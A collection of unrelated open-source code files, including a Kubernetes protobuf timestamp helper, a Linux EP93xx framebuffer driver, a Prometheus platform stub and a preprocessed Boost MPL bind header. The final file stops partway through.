func addFromEnvFile(filePath string, addTo func(key, value string) error) error {
f, err := os.Open(filePath)
if err != nil {
return err
}
defer f.Close()
scanner := bufio.NewScanner(f)
currentLine := 0
for scanner.Scan() {
// Process the current line, retrieving a key/value pair if
// possible.
scannedBytes := scanner.Bytes()
key, value, err := proccessEnvFileLine(scannedBytes, filePath, currentLine)
if err != nil {
return err
}
currentLine++
if len(key) == 0 {
// no key means line was empty or a comment
continue
}
if err = addTo(key, value); err != nil {
return err
}
}
return nil
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2015 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package unversioned
import (
"time"
)
// Timestamp is a struct that is equivalent to Time, but intended for
// protobuf marshalling/unmarshalling. It is generated into a serialization
// that matches Time. Do not use in Go structs.
type Timestamp struct {
// Represents seconds of UTC time since Unix epoch
// 1970-01-01T00:00:00Z. Must be from from 0001-01-01T00:00:00Z to
// 9999-12-31T23:59:59Z inclusive.
Seconds int64 `json:"seconds" protobuf:"varint,1,opt,name=seconds"`
// Non-negative fractions of a second at nanosecond resolution. Negative
// second values with fractions must still have non-negative nanos values
// that count forward in time. Must be from 0 to 999,999,999
// inclusive. This field may be limited in precision depending on context.
Nanos int32 `json:"nanos" protobuf:"varint,2,opt,name=nanos"`
}
// Timestamp returns the Time as a new Timestamp value.
func (m *Time) ProtoTime() *Timestamp {
if m == nil {
return &Timestamp{}
}
return &Timestamp{
Seconds: m.Time.Unix(),
Nanos: int32(m.Time.Nanosecond()),
}
}
// Size implements the protobuf marshalling interface.
func (m *Time) Size() (n int) {
if m == nil || m.Time.IsZero() {
return 0
}
return m.ProtoTime().Size()
}
// Reset implements the protobuf marshalling interface.
func (m *Time) Unmarshal(data []byte) error {
if len(data) == 0 {
m.Time = time.Time{}
return nil
}
p := Timestamp{}
if err := p.Unmarshal(data); err != nil {
return err
}
m.Time = time.Unix(p.Seconds, int64(p.Nanos)).Local()
return nil
}
// Marshal implements the protobuf marshalling interface.
func (m *Time) Marshal() (data []byte, err error) {
if m == nil || m.Time.IsZero() {
return nil, nil
}
return m.ProtoTime().Marshal()
}
// MarshalTo implements the protobuf marshalling interface.
func (m *Time) MarshalTo(data []byte) (int, error) {
if m == nil || m.Time.IsZero() {
return 0, nil
}
return m.ProtoTime().MarshalTo(data)
}
| {
"pile_set_name": "Github"
} |
/**
*
*/
package org.zeus.common.validator;
/**
* 验证码配置
* @author lizhizhong
*
*/
public class ValidateCodeProperties {
/**
* 图片验证码配置
*/
private ImageCodeProperties image = new ImageCodeProperties();
/**
* 短信验证码配置
*/
private SmsCodeProperties sms = new SmsCodeProperties();
public ImageCodeProperties getImage() {
return image;
}
public void setImage(ImageCodeProperties image) {
this.image = image;
}
public SmsCodeProperties getSms() {
return sms;
}
public void setSms(SmsCodeProperties sms) {
this.sms = sms;
}
}
| {
"pile_set_name": "Github"
} |
/*
* linux/drivers/video/ep93xx-fb.c
*
* Framebuffer support for the EP93xx series.
*
* Copyright (C) 2007 Bluewater Systems Ltd
* Author: Ryan Mallon <[email protected]>
*
* Copyright (c) 2009 H Hartley Sweeten <[email protected]>
*
* Based on the Cirrus Logic ep93xxfb driver, and various other ep93xxfb
* drivers.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
*/
#include <linux/platform_device.h>
#include <linux/dma-mapping.h>
#include <linux/slab.h>
#include <linux/clk.h>
#include <linux/fb.h>
#include <mach/fb.h>
/* Vertical Frame Timing Registers */
#define EP93XXFB_VLINES_TOTAL 0x0000 /* SW locked */
#define EP93XXFB_VSYNC 0x0004 /* SW locked */
#define EP93XXFB_VACTIVE 0x0008 /* SW locked */
#define EP93XXFB_VBLANK 0x0228 /* SW locked */
#define EP93XXFB_VCLK 0x000c /* SW locked */
/* Horizontal Frame Timing Registers */
#define EP93XXFB_HCLKS_TOTAL 0x0010 /* SW locked */
#define EP93XXFB_HSYNC 0x0014 /* SW locked */
#define EP93XXFB_HACTIVE 0x0018 /* SW locked */
#define EP93XXFB_HBLANK 0x022c /* SW locked */
#define EP93XXFB_HCLK 0x001c /* SW locked */
/* Frame Buffer Memory Configuration Registers */
#define EP93XXFB_SCREEN_PAGE 0x0028
#define EP93XXFB_SCREEN_HPAGE 0x002c
#define EP93XXFB_SCREEN_LINES 0x0030
#define EP93XXFB_LINE_LENGTH 0x0034
#define EP93XXFB_VLINE_STEP 0x0038
#define EP93XXFB_LINE_CARRY 0x003c /* SW locked */
#define EP93XXFB_EOL_OFFSET 0x0230
/* Other Video Registers */
#define EP93XXFB_BRIGHTNESS 0x0020
#define EP93XXFB_ATTRIBS 0x0024 /* SW locked */
#define EP93XXFB_SWLOCK 0x007c /* SW locked */
#define EP93XXFB_AC_RATE 0x0214
#define EP93XXFB_FIFO_LEVEL 0x0234
#define EP93XXFB_PIXELMODE 0x0054
#define EP93XXFB_PIXELMODE_32BPP (0x7 << 0)
#define EP93XXFB_PIXELMODE_24BPP (0x6 << 0)
#define EP93XXFB_PIXELMODE_16BPP (0x4 << 0)
#define EP93XXFB_PIXELMODE_8BPP (0x2 << 0)
#define EP93XXFB_PIXELMODE_SHIFT_1P_24B (0x0 << 3)
#define EP93XXFB_PIXELMODE_SHIFT_1P_18B (0x1 << 3)
#define EP93XXFB_PIXELMODE_COLOR_LUT (0x0 << 10)
#define EP93XXFB_PIXELMODE_COLOR_888 (0x4 << 10)
#define EP93XXFB_PIXELMODE_COLOR_555 (0x5 << 10)
#define EP93XXFB_PARL_IF_OUT 0x0058
#define EP93XXFB_PARL_IF_IN 0x005c
/* Blink Control Registers */
#define EP93XXFB_BLINK_RATE 0x0040
#define EP93XXFB_BLINK_MASK 0x0044
#define EP93XXFB_BLINK_PATTRN 0x0048
#define EP93XXFB_PATTRN_MASK 0x004c
#define EP93XXFB_BKGRND_OFFSET 0x0050
/* Hardware Cursor Registers */
#define EP93XXFB_CURSOR_ADR_START 0x0060
#define EP93XXFB_CURSOR_ADR_RESET 0x0064
#define EP93XXFB_CURSOR_SIZE 0x0068
#define EP93XXFB_CURSOR_COLOR1 0x006c
#define EP93XXFB_CURSOR_COLOR2 0x0070
#define EP93XXFB_CURSOR_BLINK_COLOR1 0x021c
#define EP93XXFB_CURSOR_BLINK_COLOR2 0x0220
#define EP93XXFB_CURSOR_XY_LOC 0x0074
#define EP93XXFB_CURSOR_DSCAN_HY_LOC 0x0078
#define EP93XXFB_CURSOR_BLINK_RATE_CTRL 0x0224
/* LUT Registers */
#define EP93XXFB_GRY_SCL_LUTR 0x0080
#define EP93XXFB_GRY_SCL_LUTG 0x0280
#define EP93XXFB_GRY_SCL_LUTB 0x0300
#define EP93XXFB_LUT_SW_CONTROL 0x0218
#define EP93XXFB_LUT_SW_CONTROL_SWTCH (1 << 0)
#define EP93XXFB_LUT_SW_CONTROL_SSTAT (1 << 1)
#define EP93XXFB_COLOR_LUT 0x0400
/* Video Signature Registers */
#define EP93XXFB_VID_SIG_RSLT_VAL 0x0200
#define EP93XXFB_VID_SIG_CTRL 0x0204
#define EP93XXFB_VSIG 0x0208
#define EP93XXFB_HSIG 0x020c
#define EP93XXFB_SIG_CLR_STR 0x0210
/* Minimum / Maximum resolutions supported */
#define EP93XXFB_MIN_XRES 64
#define EP93XXFB_MIN_YRES 64
#define EP93XXFB_MAX_XRES 1024
#define EP93XXFB_MAX_YRES 768
struct ep93xx_fbi {
struct ep93xxfb_mach_info *mach_info;
struct clk *clk;
struct resource *res;
void __iomem *mmio_base;
unsigned int pseudo_palette[256];
};
static int check_screenpage_bug = 1;
module_param(check_screenpage_bug, int, 0644);
MODULE_PARM_DESC(check_screenpage_bug,
"Check for bit 27 screen page bug. Default = 1");
static inline unsigned int ep93xxfb_readl(struct ep93xx_fbi *fbi,
unsigned int off)
{
return __raw_readl(fbi->mmio_base + off);
}
static inline void ep93xxfb_writel(struct ep93xx_fbi *fbi,
unsigned int val, unsigned int off)
{
__raw_writel(val, fbi->mmio_base + off);
}
/*
* Write to one of the locked raster registers.
*/
static inline void ep93xxfb_out_locked(struct ep93xx_fbi *fbi,
unsigned int val, unsigned int reg)
{
/*
* We don't need a lock or delay here since the raster register
* block will remain unlocked until the next access.
*/
ep93xxfb_writel(fbi, 0xaa, EP93XXFB_SWLOCK);
ep93xxfb_writel(fbi, val, reg);
}
static void ep93xxfb_set_video_attribs(struct fb_info *info)
{
struct ep93xx_fbi *fbi = info->par;
unsigned int attribs;
attribs = EP93XXFB_ENABLE;
attribs |= fbi->mach_info->flags;
ep93xxfb_out_locked(fbi, attribs, EP93XXFB_ATTRIBS);
}
static int ep93xxfb_set_pixelmode(struct fb_info *info)
{
struct ep93xx_fbi *fbi = info->par;
unsigned int val;
info->var.transp.offset = 0;
info->var.transp.length = 0;
switch (info->var.bits_per_pixel) {
case 8:
val = EP93XXFB_PIXELMODE_8BPP | EP93XXFB_PIXELMODE_COLOR_LUT |
EP93XXFB_PIXELMODE_SHIFT_1P_18B;
info->var.red.offset = 0;
info->var.red.length = 8;
info->var.green.offset = 0;
info->var.green.length = 8;
info->var.blue.offset = 0;
info->var.blue.length = 8;
info->fix.visual = FB_VISUAL_PSEUDOCOLOR;
break;
case 16:
val = EP93XXFB_PIXELMODE_16BPP | EP93XXFB_PIXELMODE_COLOR_555 |
EP93XXFB_PIXELMODE_SHIFT_1P_18B;
info->var.red.offset = 11;
info->var.red.length = 5;
info->var.green.offset = 5;
info->var.green.length = 6;
info->var.blue.offset = 0;
info->var.blue.length = 5;
info->fix.visual = FB_VISUAL_TRUECOLOR;
break;
case 24:
val = EP93XXFB_PIXELMODE_24BPP | EP93XXFB_PIXELMODE_COLOR_888 |
EP93XXFB_PIXELMODE_SHIFT_1P_24B;
info->var.red.offset = 16;
info->var.red.length = 8;
info->var.green.offset = 8;
info->var.green.length = 8;
info->var.blue.offset = 0;
info->var.blue.length = 8;
info->fix.visual = FB_VISUAL_TRUECOLOR;
break;
case 32:
val = EP93XXFB_PIXELMODE_32BPP | EP93XXFB_PIXELMODE_COLOR_888 |
EP93XXFB_PIXELMODE_SHIFT_1P_24B;
info->var.red.offset = 16;
info->var.red.length = 8;
info->var.green.offset = 8;
info->var.green.length = 8;
info->var.blue.offset = 0;
info->var.blue.length = 8;
info->fix.visual = FB_VISUAL_TRUECOLOR;
break;
default:
return -EINVAL;
}
ep93xxfb_writel(fbi, val, EP93XXFB_PIXELMODE);
return 0;
}
static void ep93xxfb_set_timing(struct fb_info *info)
{
struct ep93xx_fbi *fbi = info->par;
unsigned int vlines_total, hclks_total, start, stop;
vlines_total = info->var.yres + info->var.upper_margin +
info->var.lower_margin + info->var.vsync_len - 1;
hclks_total = info->var.xres + info->var.left_margin +
info->var.right_margin + info->var.hsync_len - 1;
ep93xxfb_out_locked(fbi, vlines_total, EP93XXFB_VLINES_TOTAL);
ep93xxfb_out_locked(fbi, hclks_total, EP93XXFB_HCLKS_TOTAL);
start = vlines_total;
stop = vlines_total - info->var.vsync_len;
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_VSYNC);
start = vlines_total - info->var.vsync_len - info->var.upper_margin;
stop = info->var.lower_margin - 1;
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_VBLANK);
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_VACTIVE);
start = vlines_total;
stop = vlines_total + 1;
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_VCLK);
start = hclks_total;
stop = hclks_total - info->var.hsync_len;
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_HSYNC);
start = hclks_total - info->var.hsync_len - info->var.left_margin;
stop = info->var.right_margin - 1;
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_HBLANK);
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_HACTIVE);
start = hclks_total;
stop = hclks_total;
ep93xxfb_out_locked(fbi, start | (stop << 16), EP93XXFB_HCLK);
ep93xxfb_out_locked(fbi, 0x0, EP93XXFB_LINE_CARRY);
}
static int ep93xxfb_set_par(struct fb_info *info)
{
struct ep93xx_fbi *fbi = info->par;
clk_set_rate(fbi->clk, 1000 * PICOS2KHZ(info->var.pixclock));
ep93xxfb_set_timing(info);
info->fix.line_length = info->var.xres_virtual *
info->var.bits_per_pixel / 8;
ep93xxfb_writel(fbi, info->fix.smem_start, EP93XXFB_SCREEN_PAGE);
ep93xxfb_writel(fbi, info->var.yres - 1, EP93XXFB_SCREEN_LINES);
ep93xxfb_writel(fbi, ((info->var.xres * info->var.bits_per_pixel)
/ 32) - 1, EP93XXFB_LINE_LENGTH);
ep93xxfb_writel(fbi, info->fix.line_length / 4, EP93XXFB_VLINE_STEP);
ep93xxfb_set_video_attribs(info);
return 0;
}
static int ep93xxfb_check_var(struct fb_var_screeninfo *var,
struct fb_info *info)
{
int err;
err = ep93xxfb_set_pixelmode(info);
if (err)
return err;
var->xres = max_t(unsigned int, var->xres, EP93XXFB_MIN_XRES);
var->xres = min_t(unsigned int, var->xres, EP93XXFB_MAX_XRES);
var->xres_virtual = max(var->xres_virtual, var->xres);
var->yres = max_t(unsigned int, var->yres, EP93XXFB_MIN_YRES);
var->yres = min_t(unsigned int, var->yres, EP93XXFB_MAX_YRES);
var->yres_virtual = max(var->yres_virtual, var->yres);
return 0;
}
static int ep93xxfb_mmap(struct fb_info *info, struct vm_area_struct *vma)
{
unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;
if (offset < info->fix.smem_len) {
return dma_mmap_writecombine(info->dev, vma, info->screen_base,
info->fix.smem_start,
info->fix.smem_len);
}
return -EINVAL;
}
static int ep93xxfb_blank(int blank_mode, struct fb_info *info)
{
struct ep93xx_fbi *fbi = info->par;
unsigned int attribs = ep93xxfb_readl(fbi, EP93XXFB_ATTRIBS);
if (blank_mode) {
if (fbi->mach_info->blank)
fbi->mach_info->blank(blank_mode, info);
ep93xxfb_out_locked(fbi, attribs & ~EP93XXFB_ENABLE,
EP93XXFB_ATTRIBS);
clk_disable(fbi->clk);
} else {
clk_enable(fbi->clk);
ep93xxfb_out_locked(fbi, attribs | EP93XXFB_ENABLE,
EP93XXFB_ATTRIBS);
if (fbi->mach_info->blank)
fbi->mach_info->blank(blank_mode, info);
}
return 0;
}
static inline int ep93xxfb_convert_color(int val, int width)
{
return ((val << width) + 0x7fff - val) >> 16;
}
static int ep93xxfb_setcolreg(unsigned int regno, unsigned int red,
unsigned int green, unsigned int blue,
unsigned int transp, struct fb_info *info)
{
struct ep93xx_fbi *fbi = info->par;
unsigned int *pal = info->pseudo_palette;
unsigned int ctrl, i, rgb, lut_current, lut_stat;
switch (info->fix.visual) {
case FB_VISUAL_PSEUDOCOLOR:
if (regno > 255)
return 1;
rgb = ((red & 0xff00) << 8) | (green & 0xff00) |
((blue & 0xff00) >> 8);
pal[regno] = rgb;
ep93xxfb_writel(fbi, rgb, (EP93XXFB_COLOR_LUT + (regno << 2)));
ctrl = ep93xxfb_readl(fbi, EP93XXFB_LUT_SW_CONTROL);
lut_stat = !!(ctrl & EP93XXFB_LUT_SW_CONTROL_SSTAT);
lut_current = !!(ctrl & EP93XXFB_LUT_SW_CONTROL_SWTCH);
if (lut_stat == lut_current) {
for (i = 0; i < 256; i++) {
ep93xxfb_writel(fbi, pal[i],
EP93XXFB_COLOR_LUT + (i << 2));
}
ep93xxfb_writel(fbi,
ctrl ^ EP93XXFB_LUT_SW_CONTROL_SWTCH,
EP93XXFB_LUT_SW_CONTROL);
}
break;
case FB_VISUAL_TRUECOLOR:
if (regno > 16)
return 1;
red = ep93xxfb_convert_color(red, info->var.red.length);
green = ep93xxfb_convert_color(green, info->var.green.length);
blue = ep93xxfb_convert_color(blue, info->var.blue.length);
transp = ep93xxfb_convert_color(transp,
info->var.transp.length);
pal[regno] = (red << info->var.red.offset) |
(green << info->var.green.offset) |
(blue << info->var.blue.offset) |
(transp << info->var.transp.offset);
break;
default:
return 1;
}
return 0;
}
static struct fb_ops ep93xxfb_ops = {
.owner = THIS_MODULE,
.fb_check_var = ep93xxfb_check_var,
.fb_set_par = ep93xxfb_set_par,
.fb_blank = ep93xxfb_blank,
.fb_fillrect = cfb_fillrect,
.fb_copyarea = cfb_copyarea,
.fb_imageblit = cfb_imageblit,
.fb_setcolreg = ep93xxfb_setcolreg,
.fb_mmap = ep93xxfb_mmap,
};
static int __init ep93xxfb_calc_fbsize(struct ep93xxfb_mach_info *mach_info)
{
int i, fb_size = 0;
if (mach_info->num_modes == EP93XXFB_USE_MODEDB) {
fb_size = EP93XXFB_MAX_XRES * EP93XXFB_MAX_YRES *
mach_info->bpp / 8;
} else {
for (i = 0; i < mach_info->num_modes; i++) {
const struct fb_videomode *mode;
int size;
mode = &mach_info->modes[i];
size = mode->xres * mode->yres * mach_info->bpp / 8;
if (size > fb_size)
fb_size = size;
}
}
return fb_size;
}
static int __init ep93xxfb_alloc_videomem(struct fb_info *info)
{
struct ep93xx_fbi *fbi = info->par;
char __iomem *virt_addr;
dma_addr_t phys_addr;
unsigned int fb_size;
fb_size = ep93xxfb_calc_fbsize(fbi->mach_info);
virt_addr = dma_alloc_writecombine(info->dev, fb_size,
&phys_addr, GFP_KERNEL);
if (!virt_addr)
return -ENOMEM;
/*
* There is a bug in the ep93xx framebuffer which causes problems
* if bit 27 of the physical address is set.
* See: http://marc.info/?l=linux-arm-kernel&m=110061245502000&w=2
* There does not seem to be any offical errata for this, but I
* have confirmed the problem exists on my hardware (ep9315) at
* least.
*/
if (check_screenpage_bug && phys_addr & (1 << 27)) {
dev_err(info->dev, "ep93xx framebuffer bug. phys addr (0x%x) "
"has bit 27 set: cannot init framebuffer\n",
phys_addr);
dma_free_coherent(info->dev, fb_size, virt_addr, phys_addr);
return -ENOMEM;
}
info->fix.smem_start = phys_addr;
info->fix.smem_len = fb_size;
info->screen_base = virt_addr;
return 0;
}
static void ep93xxfb_dealloc_videomem(struct fb_info *info)
{
if (info->screen_base)
dma_free_coherent(info->dev, info->fix.smem_len,
info->screen_base, info->fix.smem_start);
}
static int __init ep93xxfb_probe(struct platform_device *pdev)
{
struct ep93xxfb_mach_info *mach_info = pdev->dev.platform_data;
struct fb_info *info;
struct ep93xx_fbi *fbi;
struct resource *res;
char *video_mode;
int err;
if (!mach_info)
return -EINVAL;
info = framebuffer_alloc(sizeof(struct ep93xx_fbi), &pdev->dev);
if (!info)
return -ENOMEM;
info->dev = &pdev->dev;
platform_set_drvdata(pdev, info);
fbi = info->par;
fbi->mach_info = mach_info;
err = fb_alloc_cmap(&info->cmap, 256, 0);
if (err)
goto failed;
err = ep93xxfb_alloc_videomem(info);
if (err)
goto failed;
res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
if (!res) {
err = -ENXIO;
goto failed;
}
res = request_mem_region(res->start, resource_size(res), pdev->name);
if (!res) {
err = -EBUSY;
goto failed;
}
fbi->res = res;
fbi->mmio_base = ioremap(res->start, resource_size(res));
if (!fbi->mmio_base) {
err = -ENXIO;
goto failed;
}
strcpy(info->fix.id, pdev->name);
info->fbops = &ep93xxfb_ops;
info->fix.type = FB_TYPE_PACKED_PIXELS;
info->fix.accel = FB_ACCEL_NONE;
info->var.activate = FB_ACTIVATE_NOW;
info->var.vmode = FB_VMODE_NONINTERLACED;
info->flags = FBINFO_DEFAULT;
info->node = -1;
info->state = FBINFO_STATE_RUNNING;
info->pseudo_palette = &fbi->pseudo_palette;
fb_get_options("ep93xx-fb", &video_mode);
err = fb_find_mode(&info->var, info, video_mode,
fbi->mach_info->modes, fbi->mach_info->num_modes,
fbi->mach_info->default_mode, fbi->mach_info->bpp);
if (err == 0) {
dev_err(info->dev, "No suitable video mode found\n");
err = -EINVAL;
goto failed;
}
if (mach_info->setup) {
err = mach_info->setup(pdev);
if (err)
return err;
}
err = ep93xxfb_check_var(&info->var, info);
if (err)
goto failed;
fbi->clk = clk_get(info->dev, NULL);
if (IS_ERR(fbi->clk)) {
err = PTR_ERR(fbi->clk);
fbi->clk = NULL;
goto failed;
}
ep93xxfb_set_par(info);
clk_enable(fbi->clk);
err = register_framebuffer(info);
if (err)
goto failed;
dev_info(info->dev, "registered. Mode = %dx%d-%d\n",
info->var.xres, info->var.yres, info->var.bits_per_pixel);
return 0;
failed:
if (fbi->clk)
clk_put(fbi->clk);
if (fbi->mmio_base)
iounmap(fbi->mmio_base);
if (fbi->res)
release_mem_region(fbi->res->start, resource_size(fbi->res));
ep93xxfb_dealloc_videomem(info);
if (&info->cmap)
fb_dealloc_cmap(&info->cmap);
if (fbi->mach_info->teardown)
fbi->mach_info->teardown(pdev);
kfree(info);
platform_set_drvdata(pdev, NULL);
return err;
}
static int ep93xxfb_remove(struct platform_device *pdev)
{
struct fb_info *info = platform_get_drvdata(pdev);
struct ep93xx_fbi *fbi = info->par;
unregister_framebuffer(info);
clk_disable(fbi->clk);
clk_put(fbi->clk);
iounmap(fbi->mmio_base);
release_mem_region(fbi->res->start, resource_size(fbi->res));
ep93xxfb_dealloc_videomem(info);
fb_dealloc_cmap(&info->cmap);
if (fbi->mach_info->teardown)
fbi->mach_info->teardown(pdev);
kfree(info);
platform_set_drvdata(pdev, NULL);
return 0;
}
static struct platform_driver ep93xxfb_driver = {
.probe = ep93xxfb_probe,
.remove = ep93xxfb_remove,
.driver = {
.name = "ep93xx-fb",
.owner = THIS_MODULE,
},
};
static int __devinit ep93xxfb_init(void)
{
return platform_driver_register(&ep93xxfb_driver);
}
static void __exit ep93xxfb_exit(void)
{
platform_driver_unregister(&ep93xxfb_driver);
}
module_init(ep93xxfb_init);
module_exit(ep93xxfb_exit);
MODULE_DESCRIPTION("EP93XX Framebuffer Driver");
MODULE_ALIAS("platform:ep93xx-fb");
MODULE_AUTHOR("Ryan Mallon <ryan&bluewatersys.com>, "
"H Hartley Sweeten <[email protected]");
MODULE_LICENSE("GPL");
| {
"pile_set_name": "Github"
} |
// Copyright 2019 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// +build linux,appengine !linux
package util
import (
"fmt"
)
// SysReadFile is here implemented as a noop for builds that do not support
// the read syscall. For example Windows, or Linux on Google App Engine.
func SysReadFile(file string) (string, error) {
return "", fmt.Errorf("not supported on this platform")
}
| {
"pile_set_name": "Github"
} |
// Copyright Peter Dimov 2001
// Copyright Aleksey Gurtovoy 2001-2004
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// Preprocessed version of "boost/mpl/aux_/basic_bind.hpp" header
// -- DO NOT modify by hand!
namespace boost { namespace mpl {
namespace aux {
template< bool >
struct resolve_arg_impl
{
template<
typename T, typename U1, typename U2, typename U3
, typename U4, typename U5
>
struct result_
{
typedef T type;
};
};
template<>
struct resolve_arg_impl<true>
{
template<
typename T, typename U1, typename U2, typename U3
, typename U4, typename U5
>
struct result_
{
typedef typename apply_wrap5<
T
, U1, U2, U3, U4, U5
>::type type;
};
};
template< typename T > struct is_bind_template;
template<
typename T, typename U1, typename U2, typename U3, typename U4
, typename U5
>
struct resolve_bind_arg
: resolve_arg_impl< is_bind_template<T>::value >
::template result_< T,U1,U2,U3,U4,U5 >
{
};
template< int arity_ > struct bind_chooser;
aux::no_tag is_bind_helper(...);
template< typename T > aux::no_tag is_bind_helper(protect<T>*);
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
aux::yes_tag is_bind_helper(bind< F,T1,T2,T3,T4,T5 >*);
template< int N >
aux::yes_tag is_bind_helper(arg<N>*);
template< bool is_ref_ = true >
struct is_bind_template_impl
{
template< typename T > struct result_
{
BOOST_STATIC_CONSTANT(bool, value = false);
};
};
template<>
struct is_bind_template_impl<false>
{
template< typename T > struct result_
{
BOOST_STATIC_CONSTANT(bool, value =
sizeof(aux::is_bind_helper(static_cast<T*>(0)))
== sizeof(aux::yes_tag)
);
};
};
template< typename T > struct is_bind_template
: is_bind_template_impl< ::boost::detail::is_reference_impl<T>::value >
::template result_<T>
{
};
} // namespace aux
template<
typename F
>
struct bind0
{
template<
typename U1 = na, typename U2 = na, typename U3 = na
, typename U4 = na, typename U5 = na
>
struct apply
{
private:
typedef typename aux::resolve_bind_arg< F,U1,U2,U3,U4,U5 >::type f_;
public:
typedef typename apply_wrap0<
f_
>::type type;
};
};
namespace aux {
template<
typename F
>
aux::yes_tag
is_bind_helper(bind0<F>*);
} // namespace aux
BOOST_MPL_AUX_ARITY_SPEC(1, bind0)
BOOST_MPL_AUX_TEMPLATE_ARITY_SPEC(1, bind0)
namespace aux {
template<>
struct bind_chooser<0>
{
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct result_
{
typedef bind0<F> type;
};
};
} // namespace aux
template<
typename F, typename T1
>
struct bind1
{
template<
typename U1 = na, typename U2 = na, typename U3 = na
, typename U4 = na, typename U5 = na
>
struct apply
{
private:
typedef typename aux::resolve_bind_arg< F,U1,U2,U3,U4,U5 >::type f_;
typedef aux::resolve_bind_arg< T1,U1,U2,U3,U4,U5 > t1;
public:
typedef typename apply_wrap1<
f_
, typename t1::type
>::type type;
};
};
namespace aux {
template<
typename F, typename T1
>
aux::yes_tag
is_bind_helper(bind1< F,T1 >*);
} // namespace aux
BOOST_MPL_AUX_ARITY_SPEC(2, bind1)
BOOST_MPL_AUX_TEMPLATE_ARITY_SPEC(2, bind1)
namespace aux {
template<>
struct bind_chooser<1>
{
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct result_
{
typedef bind1< F,T1 > type;
};
};
} // namespace aux
template<
typename F, typename T1, typename T2
>
struct bind2
{
template<
typename U1 = na, typename U2 = na, typename U3 = na
, typename U4 = na, typename U5 = na
>
struct apply
{
private:
typedef typename aux::resolve_bind_arg< F,U1,U2,U3,U4,U5 >::type f_;
typedef aux::resolve_bind_arg< T1,U1,U2,U3,U4,U5 > t1;
typedef aux::resolve_bind_arg< T2,U1,U2,U3,U4,U5 > t2;
public:
typedef typename apply_wrap2<
f_
, typename t1::type, typename t2::type
>::type type;
};
};
namespace aux {
template<
typename F, typename T1, typename T2
>
aux::yes_tag
is_bind_helper(bind2< F,T1,T2 >*);
} // namespace aux
BOOST_MPL_AUX_ARITY_SPEC(3, bind2)
BOOST_MPL_AUX_TEMPLATE_ARITY_SPEC(3, bind2)
namespace aux {
template<>
struct bind_chooser<2>
{
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct result_
{
typedef bind2< F,T1,T2 > type;
};
};
} // namespace aux
template<
typename F, typename T1, typename T2, typename T3
>
struct bind3
{
template<
typename U1 = na, typename U2 = na, typename U3 = na
, typename U4 = na, typename U5 = na
>
struct apply
{
private:
typedef typename aux::resolve_bind_arg< F,U1,U2,U3,U4,U5 >::type f_;
typedef aux::resolve_bind_arg< T1,U1,U2,U3,U4,U5 > t1;
typedef aux::resolve_bind_arg< T2,U1,U2,U3,U4,U5 > t2;
typedef aux::resolve_bind_arg< T3,U1,U2,U3,U4,U5 > t3;
public:
typedef typename apply_wrap3<
f_
, typename t1::type, typename t2::type, typename t3::type
>::type type;
};
};
namespace aux {
template<
typename F, typename T1, typename T2, typename T3
>
aux::yes_tag
is_bind_helper(bind3< F,T1,T2,T3 >*);
} // namespace aux
BOOST_MPL_AUX_ARITY_SPEC(4, bind3)
BOOST_MPL_AUX_TEMPLATE_ARITY_SPEC(4, bind3)
namespace aux {
template<>
struct bind_chooser<3>
{
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct result_
{
typedef bind3< F,T1,T2,T3 > type;
};
};
} // namespace aux
template<
typename F, typename T1, typename T2, typename T3, typename T4
>
struct bind4
{
template<
typename U1 = na, typename U2 = na, typename U3 = na
, typename U4 = na, typename U5 = na
>
struct apply
{
private:
typedef typename aux::resolve_bind_arg< F,U1,U2,U3,U4,U5 >::type f_;
typedef aux::resolve_bind_arg< T1,U1,U2,U3,U4,U5 > t1;
typedef aux::resolve_bind_arg< T2,U1,U2,U3,U4,U5 > t2;
typedef aux::resolve_bind_arg< T3,U1,U2,U3,U4,U5 > t3;
typedef aux::resolve_bind_arg< T4,U1,U2,U3,U4,U5 > t4;
public:
typedef typename apply_wrap4<
f_
, typename t1::type, typename t2::type, typename t3::type
, typename t4::type
>::type type;
};
};
namespace aux {
template<
typename F, typename T1, typename T2, typename T3, typename T4
>
aux::yes_tag
is_bind_helper(bind4< F,T1,T2,T3,T4 >*);
} // namespace aux
BOOST_MPL_AUX_ARITY_SPEC(5, bind4)
BOOST_MPL_AUX_TEMPLATE_ARITY_SPEC(5, bind4)
namespace aux {
template<>
struct bind_chooser<4>
{
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct result_
{
typedef bind4< F,T1,T2,T3,T4 > type;
};
};
} // namespace aux
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
>
struct bind5
{
template<
typename U1 = na, typename U2 = na, typename U3 = na
, typename U4 = na, typename U5 = na
>
struct apply
{
private:
typedef typename aux::resolve_bind_arg< F,U1,U2,U3,U4,U5 >::type f_;
